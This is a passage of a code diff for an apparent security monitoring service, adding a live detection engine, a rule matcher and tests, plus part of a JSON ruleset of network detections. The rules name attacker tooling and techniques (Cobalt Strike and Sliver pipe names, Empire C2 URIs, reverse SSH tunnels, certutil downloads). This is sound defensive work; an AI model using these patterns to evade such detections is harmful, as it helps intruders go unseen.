+ "match_when": {
+ "content_encoding": "gzip",
+ "event_type": "http_response",
+ "filename_endswith_any": [
+ ".jpg",
+ ".png",
+ ".gif"
+ ],
+ "mime_type_in": [
+ "application/octet-stream"
+ ]
+ },
+ "mitre": [
+ "T1027"
+ ],
+ "name": "HTTP Response MIME And Content-Encoding Mismatch",
+ "product": "proxy",
+ "service": "http",
+ "severity": "medium",
+ "slug": "net-http-gzip-mime-mismatch"
+ },
+ {
+ "category": "network",
+ "id": "det-network-055",
+ "match_when": {
+ "destination_is_internal": false,
+ "event_type": "http_request",
+ "method": "POST",
+ "request_size_bytes_gt": 50000000,
+ "src_role": "workstation"
+ },
+ "mitre": [
+ "T1041"
+ ],
+ "name": "Large HTTP POST From Workstation To Public IP",
+ "product": "proxy",
+ "service": "http",
+ "severity": "medium",
+ "slug": "net-http-large-post-from-workstation"
+ },
+ {
+ "category": "network",
+ "id": "det-network-056",
+ "match_when": {
+ "argv_contains": "-R",
+ "event_type": "ssh_command"
+ },
+ "mitre": [
+ "T1572"
+ ],
+ "name": "Outbound SSH With -R Reverse-Tunnel Flag",
+ "product": "proxy",
+ "service": "ssh",
+ "severity": "high",
+ "slug": "net-ssh-reverse-tunnel"
+ },
+ {
+ "category": "network",
+ "id": "det-network-057",
+ "match_when": {
+ "destination_in_known_tor_relay": true,
+ "event_type": "tls_session",
+ "src_role": "workstation"
+ },
+ "mitre": [
+ "T1090.003"
+ ],
+ "name": "Tor Connection From Corporate Workstation",
+ "product": "proxy",
+ "service": "tls",
+ "severity": "high",
+ "slug": "net-tor-egress-corp"
+ },
+ {
+ "category": "network",
+ "id": "det-network-058",
+ "match_when": {
+ "event_type": "icmp",
+ "payload_size_bytes_gt": 1024
+ },
+ "mitre": [
+ "T1095"
+ ],
+ "name": "ICMP Echo With Unusually Large Payload",
+ "product": "proxy",
+ "service": "icmp",
+ "severity": "medium",
+ "slug": "net-icmp-large-payload"
+ },
+ {
+ "category": "network",
+ "id": "det-network-059",
+ "match_when": {
+ "event_type": "flow",
+ "protocol_number": 47,
+ "src_role_in": [
+ "workstation",
+ "server"
+ ]
+ },
+ "mitre": [
+ "T1572"
+ ],
+ "name": "GRE Tunnel Initiated By Non-Network Host",
+ "product": "proxy",
+ "service": "netflow",
+ "severity": "medium",
+ "slug": "net-gre-from-non-network-device"
+ },
+ {
+ "category": "network",
+ "id": "det-network-060",
+ "match_when": {
+ "destination_port": 51820,
+ "event_type": "flow",
+ "src_role": "workstation"
+ },
+ "mitre": [
+ "T1572"
+ ],
+ "name": "WireGuard Handshake From User Workstation",
+ "product": "proxy",
+ "service": "netflow",
+ "severity": "medium",
+ "slug": "net-wireguard-handshake-from-user"
+ },
+ {
+ "category": "network",
+ "id": "det-network-061",
+ "match_when": {
+ "event_type": "vpn_auth",
+ "src_asn_type": "hosting"
+ },
+ "mitre": [
+ "T1078.004"
+ ],
+ "name": "Corporate VPN Login Originating From Datacenter ASN",
+ "product": "vpn",
+ "service": "auth",
+ "severity": "medium",
+ "slug": "net-vpn-from-datacenter"
+ },
+ {
+ "category": "network",
+ "id": "det-network-062",
+ "match_when": {
+ "circuit_purpose": "HS_CLIENT_INTRO",
+ "event_type": "tor_circuit_intro"
+ },
+ "mitre": [
+ "T1090.003"
+ ],
+ "name": "Tor Introduction To Hidden Service From Corp Host",
+ "product": "proxy",
+ "service": "tls",
+ "severity": "critical",
+ "slug": "net-tor-introduction-onion"
+ },
+ {
+ "category": "network",
+ "id": "det-network-063",
+ "match_when": {
+ "event_type": "tls_session",
+ "sni_endswith_any": [
+ "argotunnel.com",
+ "tcp.cfargotunnel.com"
+ ],
+ "src_role": "workstation"
+ },
+ "mitre": [
+ "T1572"
+ ],
+ "name": "Cloudflared Tunnel Started From Workstation",
+ "product": "proxy",
+ "service": "netflow",
+ "severity": "medium",
+ "slug": "net-cloudflared-tunnel-egress"
+ },
+ {
+ "category": "network",
+ "id": "det-network-064",
+ "match_when": {
+ "dialect": "SMB 1.0",
+ "event_type": "smb_negotiate"
+ },
+ "mitre": [
+ "T1021.002"
+ ],
+ "name": "SMB Version 1 Negotiated In Network Flow",
+ "product": "firewall",
+ "service": "netflow",
+ "severity": "high",
+ "slug": "net-smbv1-egress"
+ },
+ {
+ "category": "network",
+ "id": "det-network-065",
+ "match_when": {
+ "event_type": "smb_write",
+ "share_name": "NETLOGON"
+ },
+ "mitre": [
+ "T1570"
+ ],
+ "name": "SMB Write To NETLOGON Share",
+ "product": "firewall",
+ "service": "netflow",
+ "severity": "critical",
+ "slug": "net-smb-write-netlogon"
+ },
+ {
+ "category": "network",
+ "id": "det-network-066",
+ "match_when": {
+ "event_type": "smb_write",
+ "share_name": "SYSVOL",
+ "src_role_neq": "domain-controller"
+ },
+ "mitre": [
+ "T1570"
+ ],
+ "name": "SMB Write To SYSVOL Share From Non-DC",
+ "product": "firewall",
+ "service": "netflow",
+ "severity": "high",
+ "slug": "net-smb-write-sysvol"
+ },
+ {
+ "category": "network",
+ "id": "det-network-067",
+ "match_when": {
+ "challenge_reused_across_hosts": true,
+ "event_type": "ntlm_auth"
+ },
+ "mitre": [
+ "T1557.001"
+ ],
+ "name": "NTLM Relay Indicator (Same Challenge Reused Across Hosts)",
+ "product": "firewall",
+ "service": "netflow",
+ "severity": "critical",
+ "slug": "net-ntlm-relay-pattern"
+ },
+ {
+ "category": "network",
+ "id": "det-network-068",
+ "match_when": {
+ "event_type": "rpc_call",
+ "interface": "winreg",
+ "operation": "BaseRegSetValue",
+ "src_role": "workstation"
+ },
+ "mitre": [
+ "T1112"
+ ],
+ "name": "RPC Remote Registry Write From Workstation Subnet",
+ "product": "firewall",
+ "service": "rpc",
+ "severity": "high",
+ "slug": "net-rpc-remote-registry"
+ },
+ {
+ "category": "network",
+ "id": "det-network-069",
+ "match_when": {
+ "event_type": "rpc_call",
+ "interface": "atsvc",
+ "src_role": "workstation"
+ },
+ "mitre": [
+ "T1053.005"
+ ],
+ "name": "RPC Task Scheduler Create From Workstation",
+ "product": "firewall",
+ "service": "rpc",
+ "severity": "high",
+ "slug": "net-rpc-task-scheduler-remote"
+ },
+ {
+ "category": "network",
+ "id": "det-network-070",
+ "match_when": {
+ "destination_port_in": [
+ 5985,
+ 5986
+ ],
+ "destination_role": "domain-controller",
+ "event_type": "flow",
+ "src_role": "workstation"
+ },
+ "mitre": [
+ "T1021.006"
+ ],
+ "name": "WinRM HTTPS From Workstation To DC",
+ "product": "firewall",
+ "service": "netflow",
+ "severity": "high",
+ "slug": "net-winrm-ssl-from-workstation"
+ },
+ {
+ "category": "network",
+ "id": "det-network-071",
+ "match_when": {
+ "event_type": "smb_pipe",
+ "pipe_name_in": [
+ "msagent_",
+ "MSSE-",
+ "postex_",
+ "status_"
+ ]
+ },
+ "mitre": [
+ "T1573.002"
+ ],
+ "name": "Cobalt Strike Default Named Pipe Pattern",
+ "product": "firewall",
+ "service": "netflow",
+ "severity": "critical",
+ "slug": "net-cobalt-strike-named-pipe"
+ },
+ {
+ "category": "network",
+ "id": "det-network-072",
+ "match_when": {
+ "event_type": "smb_pipe",
+ "pipe_name_startswith": "sliver_"
+ },
+ "mitre": [
+ "T1573"
+ ],
+ "name": "Sliver Default Named Pipe Pattern",
+ "product": "firewall",
+ "service": "netflow",
+ "severity": "critical",
+ "slug": "net-sliver-named-pipe"
+ },
+ {
+ "category": "network",
+ "id": "det-network-073",
+ "match_when": {
+ "event_type": "http_request",
+ "uri_endswith_any": [
+ "/admin/get.php",
+ "/news.php",
+ "/login/process.php"
+ ]
+ },
+ "mitre": [
+ "T1071.001"
+ ],
+ "name": "Empire C2 Default URI Pattern Observed",
+ "product": "proxy",
+ "service": "http",
+ "severity": "critical",
+ "slug": "net-empire-default-uri"
+ },
+ {
+ "category": "network",
+ "id": "det-network-074",
+ "match_when": {
+ "event_id": 4769,
+ "ticket_encryption_type": "0x17"
+ },
+ "mitre": [
+ "T1558.003"
+ ],
+ "name": "Kerberos Service Ticket Issued With RC4 Encryption",
+ "product": "windows",
+ "service": "kerberos",
+ "severity": "high",
+ "slug": "net-kerberos-rc4-ticket"
+ },
+ {
+ "category": "network",
+ "id": "det-network-075",
+ "match_when": {
+ "event_id": 4768,
+ "preauth_required": false
+ },
+ "mitre": [
+ "T1558.004"
+ ],
+ "name": "Kerberos Account With Pre-Auth Disabled Used",
+ "product": "windows",
+ "service": "kerberos",
+ "severity": "high",
+ "slug": "net-kerberos-pre-auth-disabled"
+ },
+ {
+ "category": "network",
+ "id": "det-network-076",
+ "match_when": {
+ "auth_method": "PAP",
+ "event_type": "radius_auth"
+ },
+ "mitre": [
+ "T1110"
+ ],
+ "name": "RADIUS Authentication Used PAP (Cleartext Password)",
+ "product": "radius",
+ "service": "auth",
+ "severity": "high",
+ "slug": "net-radius-pap-clear"
+ },
+ {
+ "category": "network",
+ "id": "det-network-077",
+ "match_when": {
+ "event_id": 2889,
+ "ldap_signing_required": false
+ },
+ "mitre": [
+ "T1557.001"
+ ],
+ "name": "LDAP Signing Disabled On Domain Controller",
+ "product": "windows",
+ "service": "ldap",
+ "severity": "high",
+ "slug": "net-ldap-signing-disabled"
+ },
+ {
+ "category": "network",
+ "id": "det-network-078",
+ "match_when": {
+ "event_type": "ldap_search",
+ "filter_contains_any": [
+ "objectCategory=group",
+ "objectClass=user",
+ "trustedDomain"
+ ],
+ "search_count_5min_gt": 100
+ },
+ "mitre": [
+ "T1087.002"
+ ],
+ "name": "LDAP Search Pattern Matches BloodHound Collection",
+ "product": "windows",
+ "service": "ldap",
+ "severity": "high",
+ "slug": "net-ldap-bloodhound-pattern"
+ },
+ {
+ "category": "network",
+ "id": "det-network-079",
+ "match_when": {
+ "event_type": "icmp",
+ "payload_entropy_gt": 7.5,
+ "payload_size_bytes_gt": 64
+ },
+ "mitre": [
+ "T1095"
+ ],
+ "name": "ICMP Echo With High-Entropy Payload",
+ "product": "firewall",
+ "service": "netflow",
+ "severity": "high",
+ "slug": "net-icmp-high-entropy-payload"
+ },
+ {
+ "category": "network",
+ "id": "det-network-080",
+ "match_when": {
+ "event_type": "dhcp",
+ "leases_per_minute_per_relay_gt": 200
+ },
+ "mitre": [
+ "T1498"
+ ],
+ "name": "DHCP Starvation: Rapid Lease Churn From Single MAC Range",
+ "product": "firewall",
+ "service": "dhcp",
+ "severity": "high",
+ "slug": "net-dhcp-starvation"
+ },
+ {
+ "category": "network",
+ "id": "det-network-081",
+ "match_when": {
+ "event_type": "stp_tcn",
+ "ingress_port_role": "edge"
+ },
+ "mitre": [
+ "T1498"
+ ],
+ "name": "STP Topology Change Advertised By Edge Port",
+ "product": "switch",
+ "service": "stp",
+ "severity": "medium",
+ "slug": "net-stp-topology-change-from-edge"
+ }
+ ],
+ "version": 1
+}
diff --git a/services/fusion/app/main.py b/services/fusion/app/main.py
index e197cc249..f80af7422 100644
--- a/services/fusion/app/main.py
+++ b/services/fusion/app/main.py
@@ -12,6 +12,7 @@ from app.services.alert_sink import AlertSink
from app.services.confidence import ConfidenceScorer
from app.services.correlator import Correlator
from app.services.deduplicator import Deduplicator
+from app.services.detection_engine import DetectionEngine
from app.services.entity_risk import EntityRiskEngine
from app.services.fusion_engine import FusionEngine
from app.services.lake_writer import LakeWriter
@@ -53,7 +54,9 @@ async def lifespan(app: FastAPI):
if settings.lake_writer_enabled
else None
)
- worker = FusionWorker(engine, sink=sink, lake=lake)
+ # Phase A2 — evaluate the executable detection corpus against the stream.
+ detector = DetectionEngine() if settings.detection_engine_enabled else None
+ worker = FusionWorker(engine, sink=sink, lake=lake, detector=detector)
set_worker(worker)
# Start Kafka worker as a background task
diff --git a/services/fusion/app/services/detection_engine.py b/services/fusion/app/services/detection_engine.py
new file mode 100644
index 000000000..f45e65beb
--- /dev/null
+++ b/services/fusion/app/services/detection_engine.py
@@ -0,0 +1,187 @@
+"""Live detection-evaluation engine (Phase A2).
+
+The reality audit's second SIEM gap: ~939 executable detection rules existed
+but only ran in CI fixture-replay — **nothing evaluated them against the live
+event stream**, so telemetry that wasn't a vendor-asserted finding (the
+promoter's job) never became an alert.
+
+This engine closes that. It loads the exported native ruleset
+(``app/data/detection_ruleset.json``, produced by
+``scripts/export_detection_ruleset.py``) and evaluates each ingested event's
+recovered raw fields against every relevant rule's ``match_when`` (via the
+vendored :func:`app.services.detection_matcher.matches`). A match becomes a
+:class:`DetectionHit` that the fusion consumer turns into a ``RawAlert`` and
+routes through the normal dedup/correlate/persist pipeline.
+
+Field alignment (verified against the normalizer): the ingest pipeline
+preserves the connector-normalized flat event under ``ocsf_event["raw_data"]``
+as a JSON string. The native ``match_when`` specs were authored against exactly
+those flat connector fields, so ``matches(rule.match_when, json.loads(raw_data))``
+is the correct evaluation contract.
+
+Performance: rules are indexed by ``product`` so an event only evaluates its
+own product's rules plus product-agnostic rules, keeping per-event work far
+below the full 817-rule corpus. The engine is pure/synchronous; the consumer
+calls it inline (the corpus is small and the matcher is regex/dict work).
+"""
+
+from __future__ import annotations
+
+import json
+import uuid
+from dataclasses import dataclass
+from functools import lru_cache
+from pathlib import Path
+from typing import Any
+
+import structlog
+
+from app.models.alert import AlertSeverity, RawAlert
+from app.services.detection_matcher import matches
+
+logger = structlog.get_logger()
+
+_RULESET_PATH = Path(__file__).resolve().parent.parent / "data" / "detection_ruleset.json"
+
+# Products whose rules should also run against every event regardless of the
+# event's own product (broadly-applicable rule families).
+_PRODUCT_AGNOSTIC = {"", "multi-cloud", "app", "application", "endpoint"}
+
+_SEVERITY_MAP = {
+ "critical": AlertSeverity.CRITICAL,
+ "high": AlertSeverity.HIGH,
+ "medium": AlertSeverity.MEDIUM,
+ "low": AlertSeverity.LOW,
+ "info": AlertSeverity.INFO,
+}
+
+
+@dataclass(frozen=True)
+class DetectionHit:
+ rule_id: str
+ name: str
+ severity: str
+ category: str
+ mitre: list[str]
+
+
+def _get(obj: Any, *path: str) -> Any:
+ cur: Any = obj
+ for key in path:
+ if not isinstance(cur, dict):
+ return None
+ cur = cur.get(key)
+ return cur
+
+
+class DetectionEngine:
+ """Evaluates the native executable corpus against live events."""
+
+ def __init__(self, rules: list[dict[str, Any]] | None = None) -> None:
+ self._rules: list[dict[str, Any]] = rules if rules is not None else _load_ruleset()
+
+ @property
+ def rule_count(self) -> int:
+ return len(self._rules)
+
+ @staticmethod
+ def _product_matches(rule_product: str, event_product: str) -> bool:
+ """Fuzzy product routing.
+
+ Connector product names don't line up 1:1 with spec products
+ (``aws_cloudtrail`` vs ``aws``, ``crowdstrike_falcon`` vs ``edr``), so
+ a rule is a candidate when: it is product-agnostic, the event product
+ is unknown (evaluate everything — correctness over speed), or the two
+ product strings share containment either way.
+ """
+ rp = (rule_product or "").lower()
+ if rp in _PRODUCT_AGNOSTIC:
+ return True
+ ep = (event_product or "").lower()
+ if not ep:
+ return True
+ return rp == ep or rp in ep or ep in rp
+
+ def _candidates(self, product: str) -> list[dict[str, Any]]:
+ return [r for r in self._rules if self._product_matches(r.get("product", ""), product)]
+
+ @staticmethod
+ def _raw_fields(ocsf: dict[str, Any]) -> dict[str, Any]:
+ """Recover the connector-normalized flat fields the specs match on."""
+ raw = ocsf.get("raw_data")
+ if isinstance(raw, str) and raw.strip():
+ try:
+ parsed = json.loads(raw)
+ if isinstance(parsed, dict):
+ return parsed
+ except (ValueError, TypeError):
+ pass
+ # Fall back to the OCSF top level (some connectors emit flat OCSF).
+ return ocsf if isinstance(ocsf, dict) else {}
+
+ @staticmethod
+ def _product(ocsf: dict[str, Any], message: dict[str, Any]) -> str:
+ return str(
+ _get(ocsf, "metadata", "product", "name") or message.get("connector_type") or _get(message, "connector_type") or ""
+ ).lower()
+
+ def evaluate(self, message: dict[str, Any]) -> list[DetectionHit]:
+ """Return every rule that fires on this normalized-event message."""
+ ocsf = message.get("ocsf_event")
+ if not isinstance(ocsf, dict):
+ return []
+ fields = self._raw_fields(ocsf)
+ product = self._product(ocsf, message)
+ hits: list[DetectionHit] = []
+ for rule in self._candidates(product):
+ try:
+ if matches(rule["match_when"], fields):
+ hits.append(
+ DetectionHit(
+ rule_id=rule["id"],
+ name=rule["name"],
+ severity=rule["severity"],
+ category=rule["category"],
+ mitre=list(rule.get("mitre") or []),
+ )
+ )
+ except Exception as exc: # noqa: BLE001 — one bad rule must not wedge detection
+ logger.debug("detection_engine.rule_error", rule=rule.get("id"), error=str(exc))
+ return hits
+
+ def build_alert(self, message: dict[str, Any], hit: DetectionHit) -> RawAlert | None:
+ """Turn a detection hit into a RawAlert for the fusion pipeline."""
+ ocsf = message.get("ocsf_event") or {}
+ tenant_raw = message.get("tenant_id") or ocsf.get("tenant_uid")
+ try:
+ tenant_id = uuid.UUID(str(tenant_raw))
+ except (ValueError, TypeError):
+ return None
+ return RawAlert(
+ tenant_id=tenant_id,
+ source=f"detection:{hit.rule_id}",
+ title=hit.name,
+ description=f"Detection rule {hit.rule_id} ({hit.category}) fired on ingested telemetry.",
+ severity=_SEVERITY_MAP.get(hit.severity, AlertSeverity.MEDIUM),
+ src_ip=_get(ocsf, "src_endpoint", "ip"),
+ dst_ip=_get(ocsf, "dst_endpoint", "ip"),
+ hostname=_get(ocsf, "device", "name"),
+ username=_get(ocsf, "actor", "user", "name"),
+ mitre_techniques=hit.mitre,
+ raw_event=ocsf,
+ )
+
+
+@lru_cache(maxsize=1)
+def _load_ruleset() -> list[dict[str, Any]]:
+ if not _RULESET_PATH.exists():
+ logger.warning("detection_engine.ruleset_missing", path=str(_RULESET_PATH))
+ return []
+ try:
+ data = json.loads(_RULESET_PATH.read_text(encoding="utf-8"))
+ rules = data.get("rules") or []
+ logger.info("detection_engine.ruleset_loaded", count=len(rules))
+ return rules
+ except (ValueError, OSError) as exc:
+ logger.error("detection_engine.ruleset_load_failed", error=str(exc))
+ return []
diff --git a/services/fusion/app/services/detection_matcher.py b/services/fusion/app/services/detection_matcher.py
new file mode 100644
index 000000000..fb9800f78
--- /dev/null
+++ b/services/fusion/app/services/detection_matcher.py
@@ -0,0 +1,217 @@
+"""Vendored ``match_when`` matcher for the live detection engine (Phase A2).
+
+The canonical matcher lives in ``scripts/generate_detections.py`` (repo root) and
+is used by CI fixture-replay. Services only ship their ``app/`` subtree, so the
+fusion detection engine cannot import it at runtime. This module is a
+**byte-faithful vendored copy** of that matcher's evaluation core
+(``OPERATORS`` / ``_split_op`` / ``_check`` / ``_eval_clause`` / ``matches``).
+
+``services/fusion/tests/test_detection_matcher_parity.py`` imports BOTH this
+copy and the repo-root original and asserts identical verdicts over every
+committed detection fixture, so the two can never silently diverge — the same
+"vendored + parity-gated" convention the repo uses for the narrative builder.
+
+Do not hand-edit the operator semantics here; change ``generate_detections.py``
+and re-sync (the parity test will fail until they match).
+"""
+
+from __future__ import annotations
+
+import re
+from typing import Any
+
+# (suffix, op_name, condition_token) — sorted longest-suffix-first so `_not_in`
+# is not eaten by `_in`. Kept identical to scripts/generate_detections.py.
+OPERATORS: list[tuple[str, str, str]] = sorted(
+ [
+ ("_pattern_match_any", "pattern_match_any", "PATTERN_MATCH_ANY"),
+ ("_not_endswith_any", "not_endswith_any", "NOT ENDSWITH_ANY"),
+ ("_not_contains_any", "not_contains_any", "NOT CONTAINS_ANY"),
+ ("_pattern_match", "pattern_match", "PATTERN_MATCH"),
+ ("_not_startswith", "not_startswith", "NOT STARTSWITH"),
+ ("_startswith_any", "startswith_any", "STARTSWITH_ANY"),
+ ("_endswith_any", "endswith_any", "ENDSWITH_ANY"),
+ ("_contains_any", "contains_any", "CONTAINS_ANY"),
+ ("_contains_all", "contains_all", "CONTAINS_ALL"),
+ ("_startswith", "startswith", "STARTSWITH"),
+ ("_match_any", "match_any", "MATCH_ANY"),
+ ("_endswith", "endswith", "ENDSWITH"),
+ ("_contains", "contains", "CONTAINS"),
+ ("_has_any", "has_any", "HAS_ANY"),
+ ("_not_in", "not_in", "NOT IN"),
+ ("_match", "match", "MATCH"),
+ ("_gte", "gte", ">="),
+ ("_lte", "lte", "<="),
+ ("_in", "in", "IN"),
+ ("_gt", "gt", ">"),
+ ("_lt", "lt", "<"),
+ ],
+ key=lambda x: -len(x[0]),
+)
+
+
+def _split_op(key: str) -> tuple[str, str]:
+ """Return (field, op_name). Plain equality / null check => op == 'eq'."""
+ for suffix, op_name, _ in OPERATORS:
+ if key.endswith(suffix):
+ return key[: -len(suffix)], op_name
+ return key, "eq"
+
+
+def _to_lc_str(value: Any) -> str:
+ return str(value).lower() if value is not None else ""
+
+
+def _check(field: str, op: str, expected: Any, event: dict[str, Any]) -> bool:
+ actual = event.get(field)
+
+ if op == "eq":
+ if expected is None:
+ return actual is None
+ return actual == expected
+
+ if op in {"gt", "gte", "lt", "lte"}:
+ if not isinstance(actual, int | float) or isinstance(actual, bool):
+ return False
+ if op == "gt":
+ return actual > expected
+ if op == "gte":
+ return actual >= expected
+ if op == "lt":
+ return actual < expected
+ return actual <= expected
+
+ if op == "in":
+ return actual in expected if isinstance(expected, list) else False
+
+ if op == "not_in":
+ return actual not in expected if isinstance(expected, list) else False
+
+ if op == "contains_any":
+ if isinstance(actual, list):
+ actual_lc = {_to_lc_str(x) for x in actual}
+ return any(_to_lc_str(n) in actual_lc for n in expected)
+ haystack = _to_lc_str(actual)
+ return any(_to_lc_str(n) in haystack for n in expected)
+
+ if op == "contains_all":
+ if isinstance(actual, list):
+ actual_lc = {_to_lc_str(x) for x in actual}
+ return all(_to_lc_str(n) in actual_lc for n in expected)
+ haystack = _to_lc_str(actual)
+ return all(_to_lc_str(n) in haystack for n in expected)
+
+ if op == "match_any":
+ if not isinstance(expected, list):
+ return False
+ actual_str = "" if actual is None else str(actual)
+ for pat in expected:
+ pat_str = str(pat)
+ if "*" in pat_str:
+ regex = "^" + re.escape(pat_str).replace(r"\*", ".*") + "$"
+ if re.match(regex, actual_str):
+ return True
+ elif actual_str == pat_str:
+ return True
+ return False
+
+ if op == "pattern_match_any":
+ if not isinstance(expected, list) or actual is None:
+ return False
+ actual_str = str(actual)
+ for pat in expected:
+ try:
+ if re.search(str(pat), actual_str, re.IGNORECASE):
+ return True
+ except re.error:
+ if str(pat).lower() in actual_str.lower():
+ return True
+ return False
+
+ if op == "endswith":
+ return isinstance(actual, str) and actual.endswith(str(expected))
+
+ if op == "endswith_any":
+ if not isinstance(expected, list) or not isinstance(actual, str):
+ return False
+ return any(actual.endswith(str(s)) for s in expected)
+
+ if op == "startswith":
+ return isinstance(actual, str) and actual.startswith(str(expected))
+
+ if op == "startswith_any":
+ if not isinstance(expected, list) or not isinstance(actual, str):
+ return False
+ return any(actual.startswith(str(s)) for s in expected)
+
+ if op == "not_startswith":
+ if not isinstance(actual, str):
+ return False
+ return not actual.startswith(str(expected))
+
+ if op == "contains":
+ if isinstance(actual, list):
+ return expected in actual
+ if isinstance(actual, str):
+ return str(expected) in actual
+ return False
+
+ if op == "has_any":
+ if not isinstance(expected, list) or not isinstance(actual, list):
+ return False
+ actual_lc = {_to_lc_str(x) for x in actual}
+ return any(_to_lc_str(n) in actual_lc for n in expected)
+
+ if op == "match":
+ if actual is None:
+ return False
+ try:
+ return bool(re.search(str(expected), str(actual), re.IGNORECASE))
+ except re.error:
+ return str(expected).lower() in str(actual).lower()
+
+ if op == "pattern_match":
+ if actual is None:
+ return False
+ try:
+ return bool(re.search(str(expected), str(actual), re.IGNORECASE))
+ except re.error:
+ return str(expected).lower() in str(actual).lower()
+
+ if op == "not_endswith_any":
+ if not isinstance(expected, list) or not isinstance(actual, str):
+ return False
+ return not any(actual.endswith(str(s)) for s in expected)
+
+ if op == "not_contains_any":
+ if not isinstance(expected, list):
+ return False
+ if isinstance(actual, list):
+ actual_lc = {_to_lc_str(x) for x in actual}
+ return not any(_to_lc_str(n) in actual_lc for n in expected)
+ haystack = _to_lc_str(actual)
+ return not any(_to_lc_str(n) in haystack for n in expected)
+
+ return False
+
+
+def _eval_clause(clause: dict[str, Any], event: dict[str, Any]) -> bool:
+ """Evaluate a clause dict (possibly nested) against an event."""
+ for key, expected in clause.items():
+ if key == "any_of":
+ if not isinstance(expected, list) or not any(_eval_clause(sub, event) for sub in expected):
+ return False
+ continue
+ if key == "all_of":
+ if not isinstance(expected, list) or not all(_eval_clause(sub, event) for sub in expected):
+ return False
+ continue
+ field, op = _split_op(key)
+ if not _check(field, op, expected, event):
+ return False
+ return True
+
+
+def matches(match_when: dict[str, Any], event: dict[str, Any]) -> bool:
+ """Return True if ``event`` satisfies every clause in ``match_when``."""
+ return _eval_clause(match_when, event)
diff --git a/services/fusion/app/workers/consumer.py b/services/fusion/app/workers/consumer.py
index b7f45a1ff..fd887fa9e 100644
--- a/services/fusion/app/workers/consumer.py
+++ b/services/fusion/app/workers/consumer.py
@@ -14,6 +14,7 @@ from aiokafka import AIOKafkaConsumer, AIOKafkaProducer
from app.core.config import settings
from app.models.alert import FusionDecision, RawAlert
from app.services.alert_sink import AlertSink
+from app.services.detection_engine import DetectionEngine
from app.services.dlq import DeadLetter, DeadLetterQueue, LoggingDLQ, safe_record
from app.services.event_schema import validate_event
from app.services.fusion_engine import FusionEngine
@@ -31,6 +32,7 @@ _METRICS = {
"not_promoted": 0,
"persisted": 0,
"laked": 0,
+ "detected": 0,
"dead_lettered": 0,
"errors": 0,
}
@@ -45,10 +47,12 @@ class FusionWorker:
sink: AlertSink | None = None,
dlq: DeadLetterQueue | None = None,
lake: LakeWriter | None = None,
+ detector: DetectionEngine | None = None,
) -> None:
self._engine = engine
self._sink = sink
self._lake = lake
+ self._detector = detector
# A poison message must never vanish silently; default to a structured
# logging DLQ so persistence-free deployments still get the signal.
self._dlq: DeadLetterQueue = dlq or LoggingDLQ()
@@ -195,9 +199,19 @@ class FusionWorker:
if self._lake is not None and await self._lake.write_event(payload):
_METRICS["laked"] += 1
+ # Phase A2 — run the executable detection corpus against the live
+ # event. Each firing rule becomes a RawAlert routed through fusion,
+ # so telemetry that isn't a vendor-asserted finding still alerts.
+ if self._detector is not None:
+ for hit in self._detector.evaluate(payload):
+ det_alert = self._detector.build_alert(payload, hit)
+ if det_alert is not None:
+ _METRICS["detected"] += 1
+ await self._fuse_and_persist(det_alert, source_event_id=validation.source_event_id)
+
# Ingest-normalized OCSF event — run the deterministic promotion
# policy (see app/services/promoter.py). Non-promoted events are
- # dropped here by design; the detect stage owns rule evaluation.
+ # dropped here by design; the detect stage (above) owns rule eval.
alert = promote_normalized_event(payload)
if alert is None:
_METRICS["not_promoted"] += 1
@@ -219,14 +233,10 @@ class FusionWorker:
)
return
- # Lineage — trace each fused alert back to its source event + schema.
- logger.debug(
- "fusion.lineage",
- topic=resolved_topic,
- schema_version=validation.schema_version,
- source_event_id=validation.source_event_id,
- )
+ await self._fuse_and_persist(alert, source_event_id=validation.source_event_id)
+ async def _fuse_and_persist(self, alert: RawAlert, *, source_event_id: str | None = None) -> None:
+ """Run one RawAlert through fusion, publish it, and persist it."""
fused = await self._engine.process(alert)
_METRICS["processed"] += 1
@@ -245,9 +255,8 @@ class FusionWorker:
# Persist to the alert store (Phase 3.1). Fail-soft + idempotent —
# see app/services/alert_sink.py. Duplicates are skipped inside.
- if self._sink is not None:
- if await self._sink.persist(fused) is not None:
- _METRICS["persisted"] += 1
+ if self._sink is not None and await self._sink.persist(fused) is not None:
+ _METRICS["persisted"] += 1
@staticmethod
def get_metrics() -> dict:
diff --git a/services/fusion/tests/test_detection_engine.py b/services/fusion/tests/test_detection_engine.py
new file mode 100644
index 000000000..708f3a333
--- /dev/null
+++ b/services/fusion/tests/test_detection_engine.py
@@ -0,0 +1,122 @@
+"""Phase A2 — live detection-engine tests.
+
+Proves the engine loads the exported ruleset, recovers the connector-normalized
+fields from ``ocsf_event["raw_data"]``, fires the right rules, builds a RawAlert
+with the rule's severity/MITRE, and stays quiet on benign near-misses.
+"""
+
+from __future__ import annotations
+
+import json
+
+from app.models.alert import AlertSeverity
+from app.services.detection_engine import DetectionEngine
+
+TENANT = "11111111-1111-1111-1111-111111111111"
+
+# A tiny hand-built ruleset so the tests don't depend on corpus churn.
+_RULES = [
+ {
+ "id": "det-cloud-001",
+ "slug": "aws-root-login",
+ "name": "AWS Root Account Console Login",
+ "severity": "critical",
+ "category": "cloud",
+ "product": "aws",
+ "service": "cloudtrail",
+ "mitre": ["T1078.004"],
+ "match_when": {"event_name": "ConsoleLogin", "user_type": "Root", "error_code": None},
+ },
+ {
+ "id": "det-endpoint-001",
+ "slug": "lolbas",
+ "name": "LOLBAS Download",
+ "severity": "high",
+ "category": "endpoint",
+ "product": "edr",
+ "service": "process-create",
+ "mitre": ["T1218"],
+ "match_when": {
+ "image_basename_in": ["certutil.exe", "regsvr32.exe"],
+ "command_line_contains_any": ["http", "downloadfile"],
+ },
+ },
+]
+
+
+def _msg(raw_fields: dict, *, product: str = "aws") -> dict:
+ return {
+ "id": "22222222-2222-2222-2222-222222222222",
+ "tenant_id": TENANT,
+ "ocsf_event": {
+ "metadata": {"product": {"name": product}},
+ "device": {"name": "HOST-1"},
+ "actor": {"user": {"name": "someuser"}},
+ "raw_data": json.dumps(raw_fields),
+ },
+ }
+
+
+def _engine() -> DetectionEngine:
+ return DetectionEngine(rules=_RULES)
+
+
+def test_positive_event_fires_matching_rule():
+ eng = _engine()
+ hits = eng.evaluate(_msg({"event_name": "ConsoleLogin", "user_type": "Root", "error_code": None}, product="aws"))
+ ids = {h.rule_id for h in hits}
+ assert "det-cloud-001" in ids
+
+
+def test_benign_near_miss_does_not_fire():
+ eng = _engine()
+ hits = eng.evaluate(_msg({"event_name": "ConsoleLogin", "user_type": "IAMUser", "error_code": None}, product="aws"))
+ assert all(h.rule_id != "det-cloud-001" for h in hits)
+
+
+def test_endpoint_rule_fires_on_recovered_raw_fields():
+ eng = _engine()
+ msg = _msg(
